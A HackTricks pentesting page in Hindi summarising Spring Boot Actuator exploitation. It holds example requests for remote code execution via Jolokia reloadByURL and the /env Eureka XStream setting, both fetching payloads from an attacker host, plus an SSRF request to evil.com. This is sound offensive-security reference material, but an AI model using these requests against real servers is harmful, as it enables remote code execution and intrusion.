Spring Actuators

Reading time: 3 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

  • Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि /health, /trace, /beans, /env, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल /health और /info डिफ़ॉल्ट रूप से गैर-संवेदनशील होते हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं।
  • कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, और /heapdump
  • Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, ये /actuator/ बेस पथ के तहत होते हैं।

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':
  • /jolokia एक्ट्यूएटर एंडपॉइंट Jolokia लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है।
  • reloadByURL क्रिया का उपयोग करके लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड किया जा सकता है, जो अंधा XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है।
  • उदाहरण एक्सप्लॉइट URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
  1. Config Modification via '/env':
  • यदि Spring Cloud Libraries मौजूद हैं, तो /env एंडपॉइंट पर्यावरणीय गुणों में संशोधन की अनुमति देता है।
  • गुणों का हेरफेर करके कमजोरियों का लाभ उठाया जा सकता है, जैसे कि Eureka serviceURL में XStream deserialization की कमजोरी।
  • उदाहरण एक्सप्लॉइट POST अनुरोध:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • गुण जैसे spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, और spring.datasource.tomcat.max-active का हेरफेर विभिन्न एक्सप्लॉइट्स के लिए किया जा सकता है, जैसे SQL injection या डेटाबेस कनेक्शन स्ट्रिंग्स को बदलना।

Additional Information:

  • डिफ़ॉल्ट एक्ट्यूएटर्स की एक व्यापक सूची यहां पाई जा सकती है।
  • Spring Boot 2.x में /env एंडपॉइंट गुण संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा समान रहती है।
  1. Env + H2 RCE:
  • /env एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण यहां पाए जा सकते हैं।
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Spring फ्रेमवर्क का HTTP पथनामों में मैट्रिक्स पैरामीटर (;) को संभालने का तरीका सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए उपयोग किया जा सकता है।
  • उदाहरण एक्सप्लॉइट अनुरोध:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें